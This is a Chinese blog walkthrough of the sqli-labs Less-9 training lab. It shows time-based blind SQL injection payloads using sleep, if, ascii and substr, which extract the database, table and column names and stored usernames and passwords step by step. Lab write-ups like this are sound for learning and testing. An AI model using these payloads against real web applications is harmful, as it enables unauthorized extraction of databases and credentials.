• sqli-labs less9详解


    【❤作者简介:研究生在读 IT女; 如果文章有错请指正,让我们一起学习,天天向上,一起进步! 如果对你有帮助,还请点赞收藏哦~❤】
    在这里插入图片描述
    【写在前面:建议:如果对SQL注入中SQL语句不熟悉的可以先看看SQL盲注-你需要知道的常用sql函数和语句 如果看懂了这篇,这题就当应用了】
    1.判断闭合条件
    2.猜数据名长度和名字
    3.猜表名长度和名字
    4.猜字段长度和名字
    5.猜数值长度和名字

    1.判断闭合条件

    注入 ?id=1’ and sleep(5) 发现明显延迟5秒
    在这里插入图片描述
    而注入?id=1” and sleep(5) 未发现延迟
    在这里插入图片描述
    说明闭合是'而不是"

    2.猜数据名长度和名字

    注入?id=1' and sleep(if((length(database())>4),5,0)) --+ 显示延迟5秒,说明数据库名长大于4
    在这里插入图片描述

    注入?id=1' and sleep(if((length(database())<7),5,0)) --+ ,显示无延迟,这说明数据库名长>=7
    在这里插入图片描述

    注入

    ?id=1' and sleep(if((length(database())=8),5,0)) --+
    
    • 1

    显示延迟5秒,说明数据库名长度为8。
    在这里插入图片描述
    确定数据库名字

    id=1' and if(ascii(substr(database(),1,1))>140,sleep(5),1) -- +
    
    • 1

    在这里插入图片描述

    id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),1) -- +
    
    • 1

    在这里插入图片描述

    通过以上两张图可以确定数据库名第一个字符的ASCII值在110-140,然后利用二分法慢慢确定第一个字符的ASCII值为115(即‘s’)
    输入

    ?id=1' and sleep(if((mid(database(),1,1)='s'),5,0)) --+  
    
    • 1

    验证一下
    在这里插入图片描述
    得到数据库名的第一个字母为‘s’,同理,可以利用ASCII码值进行二分法求得数据库名为‘security’。

    3.猜表名长度和名字

    输入:

    ?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
    
    • 1

    在这里插入图片描述

    延时5秒,得到表名第一位为‘e’

    输入

    ?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,6)='emails',sleep(5),1)--+ 
    
    • 1

    在这里插入图片描述

    ,验证得到表名为‘emails’

    同理,得到第二个数据表的第一位是 r,…依次类推,得到 referers … 再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users。
    当我们猜出第3个表叫‘users’,可以通过下面这句话验证一下:

    ?id=1' and if(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,6)='users',sleep(5),1)--+ 
    
    • 1

    在这里插入图片描述

    4.猜字段长度和名字

    输入

    ?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)-- -
    
    • 1

    在这里插入图片描述

    确定users表的第一个字段的第一位是‘i’

    ?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)-- -
    
    • 1

    确定users表的第一个字段的第一位是‘d’
    同理,求得字段分别为‘id’,‘username’,‘password’

    ?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 2,1),1,8)='password',sleep(5),1)-- -
    
    • 1

    在这里插入图片描述

    确定users表的第三列是‘password’

    5.猜数值长度和名字

    确定数值

    ?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,sleep(5),1)--+
    
    • 1

    在这里插入图片描述

    确定users的第一列的第一个数值的第一位为‘D’(‘D’的ASCII码值为68),同理得到users的第一行的username为Dumb,password为 Dumb,第二行的username为 Angelina ,password为I-kill-you。
    在这里插入图片描述

  • 相关阅读:
    2022!影响百万用户金融信用评分,Equifax被告上法庭,罪魁祸首——『数据漂移』!
    七夕礼物送什么好?送男生七夕礼物推荐
    bash: ip: command not found
    MMDetection(3D)中的Hook与Runner简介(含EvalHook的介绍)
    第八章《Java高级语法》第8节:Java可变参数
    mybatiesHelperPro工具必须的可以生成到对应项目文件夹下
    【html】面试问题总结
    【系列教程】ChatGPT+ROS:打造智能无人机自主飞行的下一代解决方案✈️【一】将chatgpt集成到ROS中
    【WINDOWS / DOS 批处理】if命令中的比较运算符
    Learning Tone Curves for Local Image Enhancement
  • 原文地址:https://blog.csdn.net/Brilliant_orange/article/details/127778937